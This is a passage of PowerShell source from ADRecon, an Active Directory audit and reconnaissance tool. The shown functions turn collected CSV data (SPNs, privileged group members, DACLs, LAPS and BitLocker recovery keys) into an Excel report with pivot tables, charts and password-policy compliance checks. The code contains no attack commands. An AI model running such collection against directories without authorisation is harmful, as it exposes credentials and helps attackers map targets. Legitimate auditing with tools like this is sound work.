$PivotCaches = $workbook.PivotCaches().Create([Microsoft.Office.Interop.Excel.XlPivotTableSourceType]::xlDatabase, $SrcWorksheet.UsedRange, [Microsoft.Office.Interop.Excel.XlPivotTableVersionList]::xlPivotTableVersion12)
}
Catch
{
$PivotFailed = $true
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
}
If ( $PivotFailed -eq $true )
{
$rows = $SrcWorksheet.UsedRange.Rows.Count
If ($SrcSheetName -eq "Computer SPNs")
{
$PivotCols = "A1:B"
}
ElseIf ($SrcSheetName -eq "Users")
{
$PivotCols = "A1:AI"
}
$UsedRange = $SrcWorksheet.Range($PivotCols+$rows)
$PivotCaches = $workbook.PivotCaches().Create([Microsoft.Office.Interop.Excel.XlPivotTableSourceType]::xlDatabase, $UsedRange, [Microsoft.Office.Interop.Excel.XlPivotTableVersionList]::xlPivotTableVersion12)
Remove-Variable rows
Remove-Variable PivotCols
Remove-Variable UsedRange
}
Remove-Variable PivotFailed
$PivotTable = $PivotCaches.CreatePivotTable($PivotLocation,$PivotTableName)
# $workbook.ShowPivotTableFieldList = $true
If ($PivotRows)
{
ForEach ($Row in $PivotRows)
{
$PivotField = $PivotTable.PivotFields($Row)
$PivotField.Orientation = [Microsoft.Office.Interop.Excel.XlPivotFieldOrientation]::xlRowField
}
}
If ($PivotColumns)
{
ForEach ($Col in $PivotColumns)
{
$PivotField = $PivotTable.PivotFields($Col)
$PivotField.Orientation = [Microsoft.Office.Interop.Excel.XlPivotFieldOrientation]::xlColumnField
}
}
If ($PivotFilters)
{
ForEach ($Fil in $PivotFilters)
{
$PivotField = $PivotTable.PivotFields($Fil)
$PivotField.Orientation = [Microsoft.Office.Interop.Excel.XlPivotFieldOrientation]::xlPageField
}
}
If ($PivotValues)
{
ForEach ($Val in $PivotValues)
{
$PivotField = $PivotTable.PivotFields($Val)
$PivotField.Orientation = [Microsoft.Office.Interop.Excel.XlPivotFieldOrientation]::xlDataField
}
}
If ($PivotPercentage)
{
ForEach ($Val in $PivotPercentage)
{
$PivotField = $PivotTable.PivotFields($Val)
$PivotField.Orientation = [Microsoft.Office.Interop.Excel.XlPivotFieldOrientation]::xlDataField
$PivotField.Calculation = [Microsoft.Office.Interop.Excel.XlPivotFieldCalculation]::xlPercentOfTotal
$PivotTable.ShowValuesRow = $false
}
}
# $PivotFields.Caption = ""
$excel.ScreenUpdating = $true
Get-ADRExcelComObjRelease -ComObjtoRelease $PivotField
Remove-Variable PivotField
Get-ADRExcelComObjRelease -ComObjtoRelease $PivotTable
Remove-Variable PivotTable
Get-ADRExcelComObjRelease -ComObjtoRelease $PivotCaches
Remove-Variable PivotCaches
Get-ADRExcelComObjRelease -ComObjtoRelease $SrcWorksheet
Remove-Variable SrcWorksheet
}
Function Get-ADRExcelAttributeStats
{
<#
.SYNOPSIS
Helper to add Attribute Stats to the current WorkSheet.
.DESCRIPTION
Helper to add Attribute Stats to the current WorkSheet.
.PARAMETER SrcSheetName
[string]
Source Sheet Name.
.PARAMETER Title1
[string]
Title1.
.PARAMETER Title2
[string]
Title2.
.PARAMETER ObjAttributes
[OrderedDictionary]
Attributes.
#>
param (
[Parameter(Mandatory = $true)]
[string] $SrcSheetName,
[Parameter(Mandatory = $true)]
[string] $Title1,
[Parameter(Mandatory = $true)]
[string] $Title2,
[Parameter(Mandatory = $true)]
[System.Object] $ObjAttributes
)
$excel.ScreenUpdating = $false
$worksheet = $workbook.Worksheets.Item(1)
$SrcWorksheet = $workbook.Sheets.Item($SrcSheetName)
$row = 1
$column = 1
$worksheet.Cells.Item($row, $column) = $Title1
$worksheet.Cells.Item($row,$column).Style = "Heading 2"
$worksheet.Cells.Item($row,$column).HorizontalAlignment = -4108
$MergeCells = $worksheet.Range("A1:C1")
$MergeCells.Select() | Out-Null
$MergeCells.MergeCells = $true
Remove-Variable MergeCells
Get-ADRExcelPivotTable -SrcSheetName $SrcSheetName -PivotTableName "User Status" -PivotRows @("Enabled") -PivotValues @("UserName") -PivotPercentage @("UserName") -PivotLocation "R2C1"
$excel.ScreenUpdating = $false
$row = 2
"Type","Count","Percentage" | ForEach-Object {
$worksheet.Cells.Item($row, $column) = $_
$worksheet.Cells.Item($row, $column).Font.Bold = $True
$column++
}
$row = 3
$column = 1
For($row = 3; $row -le 6; $row++)
{
$temptext = [string] $worksheet.Cells.Item($row, $column).Text
switch ($temptext.ToUpper())
{
"TRUE" { $worksheet.Cells.Item($row, $column) = "Enabled" }
"FALSE" { $worksheet.Cells.Item($row, $column) = "Disabled" }
"GRAND TOTAL" { $worksheet.Cells.Item($row, $column) = "Total" }
}
}
$row = 1
$column = 6
$worksheet.Cells.Item($row, $column) = $Title2
$worksheet.Cells.Item($row,$column).Style = "Heading 2"
$worksheet.Cells.Item($row,$column).HorizontalAlignment = -4108
$MergeCells = $worksheet.Range("F1:L1")
$MergeCells.Select() | Out-Null
$MergeCells.MergeCells = $true
Remove-Variable MergeCells
$row++
"Category","Enabled Count","Enabled Percentage","Disabled Count","Disabled Percentage","Total Count","Total Percentage" | ForEach-Object {
$worksheet.Cells.Item($row, $column) = $_
$worksheet.Cells.Item($row, $column).Font.Bold = $True
$column++
}
$ExcelColumn = ($SrcWorksheet.Columns.Find("Enabled"))
$EnabledColAddress = "$($ExcelColumn.Address($false,$false).Substring(0,$ExcelColumn.Address($false,$false).Length-1)):$($ExcelColumn.Address($false,$false).Substring(0,$ExcelColumn.Address($false,$false).Length-1))"
$column = 6
$i = 2
$ObjAttributes.keys | ForEach-Object {
$ExcelColumn = ($SrcWorksheet.Columns.Find($_))
$ColAddress = "$($ExcelColumn.Address($false,$false).Substring(0,$ExcelColumn.Address($false,$false).Length-1)):$($ExcelColumn.Address($false,$false).Substring(0,$ExcelColumn.Address($false,$false).Length-1))"
$row++
$i++
If ($_ -eq "Delegation Typ")
{
$worksheet.Cells.Item($row, $column) = "Unconstrained Delegation"
}
ElseIf ($_ -eq "Delegation Type")
{
$worksheet.Cells.Item($row, $column) = "Constrained Delegation"
}
Else
{
$worksheet.Cells.Item($row, $column).Formula = '=' + $SrcWorksheet.Name + '!' + $ExcelColumn.Address($false,$false)
}
$worksheet.Cells.Item($row, $column+1).Formula = '=COUNTIFS(' + $SrcWorksheet.Name + '!' + $EnabledColAddress + ',"TRUE",' + $SrcWorksheet.Name + '!' + $ColAddress + ',' + $ObjAttributes[$_] + ')'
$worksheet.Cells.Item($row, $column+2).Formula = '=IFERROR(G' + $i + '/VLOOKUP("Enabled",A3:B6,2,FALSE),0)'
$worksheet.Cells.Item($row, $column+3).Formula = '=COUNTIFS(' + $SrcWorksheet.Name + '!' + $EnabledColAddress + ',"FALSE",' + $SrcWorksheet.Name + '!' + $ColAddress + ',' + $ObjAttributes[$_] + ')'
$worksheet.Cells.Item($row, $column+4).Formula = '=IFERROR(I' + $i + '/VLOOKUP("Disabled",A3:B6,2,FALSE),0)'
If ( ($_ -eq "SIDHistory") -or ($_ -eq "ms-ds-CreatorSid") )
{
$worksheet.Cells.Item($row, $column+5).Formula = '=COUNTIF(' + $SrcWorksheet.Name + '!' + $ColAddress + ',' + $ObjAttributes[$_] + ')-1'
}
Else
{
$worksheet.Cells.Item($row, $column+5).Formula = '=COUNTIF(' + $SrcWorksheet.Name + '!' + $ColAddress + ',' + $ObjAttributes[$_] + ')'
}
$worksheet.Cells.Item($row, $column+6).Formula = '=IFERROR(K' + $i + '/VLOOKUP("Total",A3:B6,2,FALSE),0)'
}
# http://www.excelhowto.com/macros/formatting-a-range-of-cells-in-excel-vba/
"H", "J" , "L" | ForEach-Object {
$rng = $_ + $($row - $ObjAttributes.Count + 1) + ":" + $_ + $($row)
$worksheet.Range($rng).NumberFormat = "0.00%"
}
$excel.ScreenUpdating = $true
Get-ADRExcelComObjRelease -ComObjtoRelease $SrcWorksheet
Remove-Variable SrcWorksheet
Get-ADRExcelComObjRelease -ComObjtoRelease $worksheet
Remove-Variable worksheet
}
Function Get-ADRExcelChart
{
<#
.SYNOPSIS
Helper to add charts to the current WorkSheet.
.DESCRIPTION
Helper to add charts to the current WorkSheet.
.PARAMETER ChartType
[int]
Chart Type.
.PARAMETER ChartLayout
[int]
Chart Layout.
.PARAMETER ChartTitle
[string]
Title of the Chart.
.PARAMETER RangetoCover
WorkSheet Range to be covered by the Chart.
.PARAMETER ChartData
Data for the Chart.
.PARAMETER StartRow
Start row to calculate data for the Chart.
.PARAMETER StartColumn
Start column to calculate data for the Chart.
#>
param (
[Parameter(Mandatory = $true)]
[string] $ChartType,
[Parameter(Mandatory = $true)]
[int] $ChartLayout,
[Parameter(Mandatory = $true)]
[string] $ChartTitle,
[Parameter(Mandatory = $true)]
$RangetoCover,
[Parameter(Mandatory = $false)]
$ChartData = $null,
[Parameter(Mandatory = $false)]
$StartRow = $null,
[Parameter(Mandatory = $false)]
$StartColumn = $null
)
$excel.ScreenUpdating = $false
$excel.DisplayAlerts = $false
$worksheet = $workbook.Worksheets.Item(1)
$chart = $worksheet.Shapes.AddChart().Chart
# https://msdn.microsoft.com/en-us/vba/excel-vba/articles/xlcharttype-enumeration-excel
$chart.chartType = [int]([Microsoft.Office.Interop.Excel.XLChartType]::$ChartType)
$chart.ApplyLayout($ChartLayout)
If ($null -eq $ChartData)
{
If ($null -eq $StartRow)
{
$start = $worksheet.Range("A1")
}
Else
{
$start = $worksheet.Range($StartRow)
}
# get the last cell
$X = $worksheet.Range($start,$start.End([Microsoft.Office.Interop.Excel.XLDirection]::xlDown))
If ($null -eq $StartColumn)
{
$start = $worksheet.Range("B1")
}
Else
{
$start = $worksheet.Range($StartColumn)
}
# get the last cell
$Y = $worksheet.Range($start,$start.End([Microsoft.Office.Interop.Excel.XLDirection]::xlDown))
$ChartData = $worksheet.Range($X,$Y)
Get-ADRExcelComObjRelease -ComObjtoRelease $X
Remove-Variable X
Get-ADRExcelComObjRelease -ComObjtoRelease $Y
Remove-Variable Y
Get-ADRExcelComObjRelease -ComObjtoRelease $start
Remove-Variable start
}
$chart.SetSourceData($ChartData)
# https://docs.microsoft.com/en-us/dotnet/api/microsoft.office.interop.excel.chartclass.plotby?redirectedfrom=MSDN&view=excel-pia#Microsoft_Office_Interop_Excel_ChartClass_PlotBy
$chart.PlotBy = [Microsoft.Office.Interop.Excel.XlRowCol]::xlColumns
$chart.seriesCollection(1).Select() | Out-Null
$chart.SeriesCollection(1).ApplyDataLabels() | out-Null
# modify the chart title
$chart.HasTitle = $True
$chart.ChartTitle.Text = $ChartTitle
# Reposition the Chart
$temp = $worksheet.Range($RangetoCover)
# $chart.parent.placement = 3
$chart.parent.top = $temp.Top
$chart.parent.left = $temp.Left
$chart.parent.width = $temp.Width
If ($ChartTitle -ne "Privileged Groups in AD")
{
$chart.parent.height = $temp.Height
}
# $chart.Legend.Delete()
$excel.ScreenUpdating = $true
$excel.DisplayAlerts = $true
Get-ADRExcelComObjRelease -ComObjtoRelease $chart
Remove-Variable chart
Get-ADRExcelComObjRelease -ComObjtoRelease $ChartData
Remove-Variable ChartData
Get-ADRExcelComObjRelease -ComObjtoRelease $temp
Remove-Variable temp
Get-ADRExcelComObjRelease -ComObjtoRelease $worksheet
Remove-Variable worksheet
}
Function Get-ADRExcelSort
{
<#
.SYNOPSIS
Sorts a WorkSheet in the active Workbook.
.DESCRIPTION
Sorts a WorkSheet in the active Workbook.
.PARAMETER ColumnName
[string]
Name of the Column.
#>
param (
[Parameter(Mandatory = $true)]
[string] $ColumnName
)
$worksheet = $workbook.Worksheets.Item(1)
$worksheet.Activate();
$ExcelColumn = ($worksheet.Columns.Find($ColumnName))
If ($ExcelColumn)
{
If ($ExcelColumn.Text -ne $ColumnName)
{
$BeginAddress = $ExcelColumn.Address(0,0,1,1)
$End = $False
Do {
Write-Verbose "[Get-ADRExcelSort] $($ExcelColumn.Text) selected instead of $($ColumnName) in the $($worksheet.Name) worksheet."
$ExcelColumn = ($worksheet.Columns.FindNext($ExcelColumn))
$Address = $ExcelColumn.Address(0,0,1,1)
If ( ($Address -eq $BeginAddress) -or ($ExcelColumn.Text -eq $ColumnName) )
{
$End = $True
}
} Until ($End -eq $True)
}
If ($ExcelColumn.Text -eq $ColumnName)
{
# Sort by Column
$workSheet.ListObjects.Item(1).Sort.SortFields.Clear()
$workSheet.ListObjects.Item(1).Sort.SortFields.Add($ExcelColumn) | Out-Null
$worksheet.ListObjects.Item(1).Sort.Apply()
}
Else
{
Write-Verbose "[Get-ADRExcelSort] $($ColumnName) not found in the $($worksheet.Name) worksheet."
}
}
Else
{
Write-Verbose "[Get-ADRExcelSort] $($ColumnName) not found in the $($worksheet.Name) worksheet."
}
Get-ADRExcelComObjRelease -ComObjtoRelease $worksheet
Remove-Variable worksheet
}
Function Export-ADRExcel
{
<#
.SYNOPSIS
Automates the generation of the ADRecon report.
.DESCRIPTION
Automates the generation of the ADRecon report. If specific files exist, they are imported into the ADRecon report.
.PARAMETER ExcelPath
[string]
Path for ADRecon output folder containing the CSV files to generate the ADRecon-Report.xlsx
.OUTPUTS
Creates the ADRecon-Report.xlsx report in the folder.
#>
param(
[Parameter(Mandatory = $true)]
[string] $ExcelPath
)
$ExcelPath = $((Convert-Path $ExcelPath).TrimEnd("\"))
$ReportPath = -join($ExcelPath,'\','CSV-Files')
If (!(Test-Path $ReportPath))
{
Write-Warning "[Export-ADRExcel] Could not locate the CSV-Files directory ... Exiting"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
Return $null
}
Get-ADRExcelComObj
If ($excel)
{
Write-Output "[*] Generating ADRecon-Report.xlsx"
$ADFileName = -join($ReportPath,'\','AboutADRecon.csv')
If (Test-Path $ADFileName)
{
Get-ADRExcelImport -ADFileName $ADFileName
Remove-Variable ADFileName
$workbook.Worksheets.Item(1).Name = "About ADRecon"
$workbook.Worksheets.Item(1).Hyperlinks.Add($workbook.Worksheets.Item(1).Cells.Item(3,2) , "https://github.com/sense-of-security/ADRecon", "" , "", "github.com/sense-of-security/ADRecon") | Out-Null
$workbook.Worksheets.Item(1).UsedRange.EntireColumn.AutoFit() | Out-Null
}
$ADFileName = -join($ReportPath,'\','Forest.csv')
If (Test-Path $ADFileName)
{
Get-ADRExcelWorkbook -Name "Forest"
Get-ADRExcelImport -ADFileName $ADFileName
Remove-Variable ADFileName
}
$ADFileName = -join($ReportPath,'\','Domain.csv')
If (Test-Path $ADFileName)
{
Get-ADRExcelWorkbook -Name "Domain"
Get-ADRExcelImport -ADFileName $ADFileName
$DomainObj = Import-CSV -Path $ADFileName
Remove-Variable ADFileName
$DomainName = -join($DomainObj[0].Value,"-")
Remove-Variable DomainObj
}
$ADFileName = -join($ReportPath,'\','Trusts.csv')
If (Test-Path $ADFileName)
{
Get-ADRExcelWorkbook -Name "Trusts"
Get-ADRExcelImport -ADFileName $ADFileName
Remove-Variable ADFileName
}
$ADFileName = -join($ReportPath,'\','Subnets.csv')
If (Test-Path $ADFileName)
{
Get-ADRExcelWorkbook -Name "Subnets"
Get-ADRExcelImport -ADFileName $ADFileName
Remove-Variable ADFileName
}
$ADFileName = -join($ReportPath,'\','Sites.csv')
If (Test-Path $ADFileName)
{
Get-ADRExcelWorkbook -Name "Sites"
Get-ADRExcelImport -ADFileName $ADFileName
Remove-Variable ADFileName
}
$ADFileName = -join($ReportPath,'\','FineGrainedPasswordPolicy.csv')
If (Test-Path $ADFileName)
{
Get-ADRExcelWorkbook -Name "Fine Grained Password Policy"
Get-ADRExcelImport -ADFileName $ADFileName
Remove-Variable ADFileName
}
$ADFileName = -join($ReportPath,'\','DefaultPasswordPolicy.csv')
If (Test-Path $ADFileName)
{
Get-ADRExcelWorkbook -Name "Default Password Policy"
Get-ADRExcelImport -ADFileName $ADFileName
Remove-Variable ADFileName
$excel.ScreenUpdating = $false
$worksheet = $workbook.Worksheets.Item(1)
# https://docs.microsoft.com/en-us/office/vba/api/excel.xlhalign
$worksheet.Range("B2:G10").HorizontalAlignment = -4108
# https://docs.microsoft.com/en-us/office/vba/api/excel.range.borderaround
"A2:B10", "C2:D10", "E2:F10", "G2:G10" | ForEach-Object {
$worksheet.Range($_).BorderAround(1) | Out-Null
}
# https://docs.microsoft.com/en-us/dotnet/api/microsoft.office.interop.excel.formatconditions.add?view=excel-pia
# $worksheet.Range().FormatConditions.Add
# http://dmcritchie.mvps.org/excel/colors.htm
# Values for Font.ColorIndex
$ObjValues = @(
# PCI Enforce password history (passwords)
"C2", '=IF(B2<4,TRUE, FALSE)'
# PCI Maximum password age (days)
"C3", '=IF(OR(B3=0,B3>90),TRUE, FALSE)'
# PCI Minimum password age (days)
# PCI Minimum password length (characters)
"C5", '=IF(B5<7,TRUE, FALSE)'
# PCI Password must meet complexity requirements
"C6", '=IF(B6<>TRUE,TRUE, FALSE)'
# PCI Store password using reversible encryption for all users in the domain
# PCI Account lockout duration (mins)
"C8", '=IF(AND(B8>=1,B8<30),TRUE, FALSE)'
# PCI Account lockout threshold (attempts)
"C9", '=IF(OR(B9=0,B9>6),TRUE, FALSE)'
# PCI Reset account lockout counter after (mins)
# ASD ISM Enforce password history (passwords)
"E2", '=IF(B2<8,TRUE, FALSE)'
# ASD ISM Maximum password age (days)
"E3", '=IF(OR(B3=0,B3>90),TRUE, FALSE)'
# ASD ISM Minimum password age (days)
"E4", '=IF(B4=0,TRUE, FALSE)'
# ASD ISM Minimum password length (characters)
"E5", '=IF(B5<13,TRUE, FALSE)'
# ASD ISM Password must meet complexity requirements
"E6", '=IF(B6<>TRUE,TRUE, FALSE)'
# ASD ISM Store password using reversible encryption for all users in the domain
# ASD ISM Account lockout duration (mins)
# ASD ISM Account lockout threshold (attempts)
"E9", '=IF(OR(B9=0,B9>5),TRUE, FALSE)'
# ASD ISM Reset account lockout counter after (mins)
# CIS Benchmark Enforce password history (passwords)
"G2", '=IF(B2<24,TRUE, FALSE)'
# CIS Benchmark Maximum password age (days)
"G3", '=IF(OR(B3=0,B3>60),TRUE, FALSE)'
# CIS Benchmark Minimum password age (days)
"G4", '=IF(B4=0,TRUE, FALSE)'
# CIS Benchmark Minimum password length (characters)
"G5", '=IF(B5<14,TRUE, FALSE)'
# CIS Benchmark Password must meet complexity requirements
"G6", '=IF(B6<>TRUE,TRUE, FALSE)'
# CIS Benchmark Store password using reversible encryption for all users in the domain
"G7", '=IF(B7<>FALSE,TRUE, FALSE)'
# CIS Benchmark Account lockout duration (mins)
"G8", '=IF(AND(B8>=1,B8<15),TRUE, FALSE)'
# CIS Benchmark Account lockout threshold (attempts)
"G9", '=IF(OR(B9=0,B9>10),TRUE, FALSE)'
# CIS Benchmark Reset account lockout counter after (mins)
"G10", '=IF(B10<15,TRUE, FALSE)' )
For ($i = 0; $i -lt $($ObjValues.Count); $i++)
{
$worksheet.Range($ObjValues[$i]).FormatConditions.Add([Microsoft.Office.Interop.Excel.XlFormatConditionType]::xlExpression, 0, $ObjValues[$i+1]) | Out-Null
$i++
}
"C2", "C3" , "C5", "C6", "C8", "C9", "E2", "E3" , "E4", "E5", "E6", "E9", "G2", "G3", "G4", "G5", "G6", "G7", "G8", "G9", "G10" | ForEach-Object {
$worksheet.Range($_).FormatConditions.Item(1).StopIfTrue = $false
$worksheet.Range($_).FormatConditions.Item(1).Font.ColorIndex = 3
}
$workbook.Worksheets.Item(1).Hyperlinks.Add($workbook.Worksheets.Item(1).Cells.Item(1,4) , "https://www.pcisecuritystandards.org/document_library?category=pcidss&document=pci_dss", "" , "", "PCI DSS v3.2.1") | Out-Null
$workbook.Worksheets.Item(1).Hyperlinks.Add($workbook.Worksheets.Item(1).Cells.Item(1,6) , "https://acsc.gov.au/infosec/ism/", "" , "", "2018 ISM Controls") | Out-Null
$workbook.Worksheets.Item(1).Hyperlinks.Add($workbook.Worksheets.Item(1).Cells.Item(1,7) , "https://www.cisecurity.org/benchmark/microsoft_windows_server/", "" , "", "CIS Benchmark 2016") | Out-Null
$excel.ScreenUpdating = $true
Get-ADRExcelComObjRelease -ComObjtoRelease $worksheet
Remove-Variable worksheet
}
$ADFileName = -join($ReportPath,'\','DomainControllers.csv')
If (Test-Path $ADFileName)
{
Get-ADRExcelWorkbook -Name "Domain Controllers"
Get-ADRExcelImport -ADFileName $ADFileName
Remove-Variable ADFileName
}
$ADFileName = -join($ReportPath,'\','DACLs.csv')
If (Test-Path $ADFileName)
{
Get-ADRExcelWorkbook -Name "DACLs"
Get-ADRExcelImport -ADFileName $ADFileName
Remove-Variable ADFileName
}
$ADFileName = -join($ReportPath,'\','SACLs.csv')
If (Test-Path $ADFileName)
{
Get-ADRExcelWorkbook -Name "SACLs"
Get-ADRExcelImport -ADFileName $ADFileName
Remove-Variable ADFileName
}
$ADFileName = -join($ReportPath,'\','GPOs.csv')
If (Test-Path $ADFileName)
{
Get-ADRExcelWorkbook -Name "GPOs"
Get-ADRExcelImport -ADFileName $ADFileName
Remove-Variable ADFileName
}
$ADFileName = -join($ReportPath,'\','gPLinks.csv')
If (Test-Path $ADFileName)
{
Get-ADRExcelWorkbook -Name "gPLinks"
Get-ADRExcelImport -ADFileName $ADFileName
Remove-Variable ADFileName
}
$ADFileName = -join($ReportPath,'\','DNSNodes','.csv')
If (Test-Path $ADFileName)
{
Get-ADRExcelWorkbook -Name "DNS Records"
Get-ADRExcelImport -ADFileName $ADFileName
Remove-Variable ADFileName
}
$ADFileName = -join($ReportPath,'\','DNSZones.csv')
If (Test-Path $ADFileName)
{
Get-ADRExcelWorkbook -Name "DNS Zones"
Get-ADRExcelImport -ADFileName $ADFileName
Remove-Variable ADFileName
}
$ADFileName = -join($ReportPath,'\','Printers.csv')
If (Test-Path $ADFileName)
{
Get-ADRExcelWorkbook -Name "Printers"
Get-ADRExcelImport -ADFileName $ADFileName
Remove-Variable ADFileName
}
$ADFileName = -join($ReportPath,'\','BitLockerRecoveryKeys.csv')
If (Test-Path $ADFileName)
{
Get-ADRExcelWorkbook -Name "BitLocker"
Get-ADRExcelImport -ADFileName $ADFileName
Remove-Variable ADFileName
}
$ADFileName = -join($ReportPath,'\','LAPS.csv')
If (Test-Path $ADFileName)
{
Get-ADRExcelWorkbook -Name "LAPS"
Get-ADRExcelImport -ADFileName $ADFileName
Remove-Variable ADFileName
}
$ADFileName = -join($ReportPath,'\','ComputerSPNs.csv')
If (Test-Path $ADFileName)
{
Get-ADRExcelWorkbook -Name "Computer SPNs"
Get-ADRExcelImport -ADFileName $ADFileName
Remove-Variable ADFileName
Get-ADRExcelSort -ColumnName "Name"
}
$ADFileName = -join($ReportPath,'\','Computers.csv')
If (Test-Path $ADFileName)
{
Get-ADRExcelWorkbook -Name "Computers"
Get-ADRExcelImport -ADFileName $ADFileName
Remove-Variable ADFileName
Get-ADRExcelSort -ColumnName "UserName"
$worksheet = $workbook.Worksheets.Item(1)
# Freeze First Row and Column
$worksheet.Select()
$worksheet.Application.ActiveWindow.splitcolumn = 1
$worksheet.Application.ActiveWindow.splitrow = 1
$worksheet.Application.ActiveWindow.FreezePanes = $true
Get-ADRExcelComObjRelease -ComObjtoRelease $worksheet
Remove-Variable worksheet
}
$ADFileName = -join($ReportPath,'\','OUs.csv')
If (Test-Path $ADFileName)
{
Get-ADRExcelWorkbook -Name "OUs"
Get-ADRExcelImport -ADFileName $ADFileName
Remove-Variable ADFileName
}
$ADFileName = -join($ReportPath,'\','UserSPNs.csv')
If (Test-Path $ADFileName)
{
Get-ADRExcelWorkbook -Name "User SPNs"
Get-ADRExcelImport -ADFileName $ADFileName
Remove-Variable ADFileName
}
$ADFileName = -join($ReportPath,'\','Groups.csv')
If (Test-Path $ADFileName)
{
Get-ADRExcelWorkbook -Name "Groups"
Get-ADRExcelImport -ADFileName $ADFileName
Remove-Variable ADFileName
Get-ADRExcelSort -ColumnName "DistinguishedName"
}
$ADFileName = -join($ReportPath,'\','GroupMembers.csv')
If (Test-Path $ADFileName)
{
Get-ADRExcelWorkbook -Name "Group Members"
Get-ADRExcelImport -ADFileName $ADFileName
Remove-Variable ADFileName
Get-ADRExcelSort -ColumnName "Group Name"
}
$ADFileName = -join($ReportPath,'\','Users.csv')
If (Test-Path $ADFileName)
{
Get-ADRExcelWorkbook -Name "Users"
Get-ADRExcelImport -ADFileName $ADFileName
Remove-Variable ADFileName
Get-ADRExcelSort -ColumnName "UserName"
$worksheet = $workbook.Worksheets.Item(1)
# Freeze First Row and Column
$worksheet.Select()
$worksheet.Application.ActiveWindow.splitcolumn = 1
$worksheet.Application.ActiveWindow.splitrow = 1
$worksheet.Application.ActiveWindow.FreezePanes = $true
$worksheet.Cells.Item(1,3).Interior.ColorIndex = 5
$worksheet.Cells.Item(1,3).font.ColorIndex = 2
# Set Filter to Enabled Accounts only
$worksheet.UsedRange.Select() | Out-Null
$excel.Selection.AutoFilter(3,$true) | Out-Null
$worksheet.Cells.Item(1,1).Select() | Out-Null
Get-ADRExcelComObjRelease -ComObjtoRelease $worksheet
Remove-Variable worksheet
}
# Computer Role Stats
$ADFileName = -join($ReportPath,'\','ComputerSPNs.csv')
If (Test-Path $ADFileName)
{
Get-ADRExcelWorkbook -Name "Computer Role Stats"
Remove-Variable ADFileName
$worksheet = $workbook.Worksheets.Item(1)
$PivotTableName = "Computer SPNs"
Get-ADRExcelPivotTable -SrcSheetName "Computer SPNs" -PivotTableName $PivotTableName -PivotRows @("Service") -PivotValues @("Service")
$worksheet.Cells.Item(1,1) = "Computer Role"
$worksheet.Cells.Item(1,2) = "Count"
# https://msdn.microsoft.com/en-us/vba/excel-vba/articles/xlsortorder-enumeration-excel
$worksheet.PivotTables($PivotTableName).PivotFields("Service").AutoSort([Microsoft.Office.Interop.Excel.XlSortOrder]::xlDescending,"Count")
Get-ADRExcelChart -ChartType "xlColumnClustered" -ChartLayout 10 -ChartTitle "Computer Roles in AD" -RangetoCover "D2:U16"
$workbook.Worksheets.Item(1).Hyperlinks.Add($workbook.Worksheets.Item(1).Cells.Item(1,4) , "" , "'Computer SPNs'!A1", "", "Raw Data") | Out-Null
$excel.Windows.Item(1).Displaygridlines = $false
Remove-Variable PivotTableName
Get-ADRExcelComObjRelease -ComObjtoRelease $worksheet
Remove-Variable worksheet
}
# Operating System Stats
$ADFileName = -join($ReportPath,'\','Computers.csv')
If (Test-Path $ADFileName)
{
Get-ADRExcelWorkbook -Name "Operating System Stats"
Remove-Variable ADFileName
$worksheet = $workbook.Worksheets.Item(1)
$PivotTableName = "Operating Systems"
Get-ADRExcelPivotTable -SrcSheetName "Computers" -PivotTableName $PivotTableName -PivotRows @("Operating System") -PivotValues @("Operating System")
$worksheet.Cells.Item(1,1) = "Operating System"
$worksheet.Cells.Item(1,2) = "Count"
# https://msdn.microsoft.com/en-us/vba/excel-vba/articles/xlsortorder-enumeration-excel
$worksheet.PivotTables($PivotTableName).PivotFields("Operating System").AutoSort([Microsoft.Office.Interop.Excel.XlSortOrder]::xlDescending,"Count")
Get-ADRExcelChart -ChartType "xlColumnClustered" -ChartLayout 10 -ChartTitle "Operating Systems in AD" -RangetoCover "D2:S16"
$workbook.Worksheets.Item(1).Hyperlinks.Add($workbook.Worksheets.Item(1).Cells.Item(1,4) , "" , "Computers!A1", "", "Raw Data") | Out-Null
$excel.Windows.Item(1).Displaygridlines = $false
Remove-Variable PivotTableName
Get-ADRExcelComObjRelease -ComObjtoRelease $worksheet
Remove-Variable worksheet
}
# Group Stats
$ADFileName = -join($ReportPath,'\','GroupMembers.csv')
If (Test-Path $ADFileName)
{
Get-ADRExcelWorkbook -Name "Privileged Group Stats"
Remove-Variable ADFileName
$worksheet = $workbook.Worksheets.Item(1)
$PivotTableName = "Group Members"
Get-ADRExcelPivotTable -SrcSheetName "Group Members" -PivotTableName $PivotTableName -PivotRows @("Group Name")-PivotFilters @("AccountType") -PivotValues @("AccountType")
# Set the filter
$worksheet.PivotTables($PivotTableName).PivotFields("AccountType").CurrentPage = "user"
$worksheet.Cells.Item(1,2).Interior.ColorIndex = 5
$worksheet.Cells.Item(1,2).font.ColorIndex = 2
$worksheet.Cells.Item(3,1) = "Group Name"
$worksheet.Cells.Item(3,2) = "Count (Not-Recursive)"
$excel.ScreenUpdating = $false
# Create a copy of the Pivot Table
$PivotTableTemp = ($workbook.PivotCaches().Item($workbook.PivotCaches().Count)).CreatePivotTable("R1C5","PivotTableTemp")
$PivotFieldTemp = $PivotTableTemp.PivotFields("Group Name")
# Set a filter
$PivotFieldTemp.Orientation = [Microsoft.Office.Interop.Excel.XlPivotFieldOrientation]::xlPageField
Try
{
$PivotFieldTemp.CurrentPage = "Domain Admins"
}
Catch
{
# No Direct Domain Admins. Good Job!
$NoDA = $true
}
If ($NoDA)
{
Try
{
$PivotFieldTemp.CurrentPage = "Administrators"
}
Catch
{
# No Direct Administrators
}
}
# Create a Slicer
$PivotSlicer = $workbook.SlicerCaches.Add($PivotTableTemp,$PivotFieldTemp)
# Add Original Pivot Table to the Slicer
$PivotSlicer.PivotTables.AddPivotTable($worksheet.PivotTables($PivotTableName))
# Delete the Slicer
$PivotSlicer.Delete()
# Delete the Pivot Table Copy
$PivotTableTemp.TableRange2.Delete() | Out-Null
Get-ADRExcelComObjRelease -ComObjtoRelease $PivotFieldTemp
Get-ADRExcelComObjRelease -ComObjtoRelease $PivotSlicer
Get-ADRExcelComObjRelease -ComObjtoRelease $PivotTableTemp
Remove-Variable PivotFieldTemp
Remove-Variable PivotSlicer
Remove-Variable PivotTableTemp
"Account Operators","Administrators","Backup Operators","Cert Publishers","Crypto Operators","DnsAdmins","Domain Admins","Enterprise Admins","Enterprise Key Admins","Incoming Forest Trust Builders","Key Admins","Microsoft Advanced Threat Analytics Administrators","Network Operators","Print Operators","Remote Desktop Users","Schema Admins","Server Operators" | ForEach-Object {
Try
{
$worksheet.PivotTables($PivotTableName).PivotFields("Group Name").PivotItems($_).Visible = $true
}
Catch
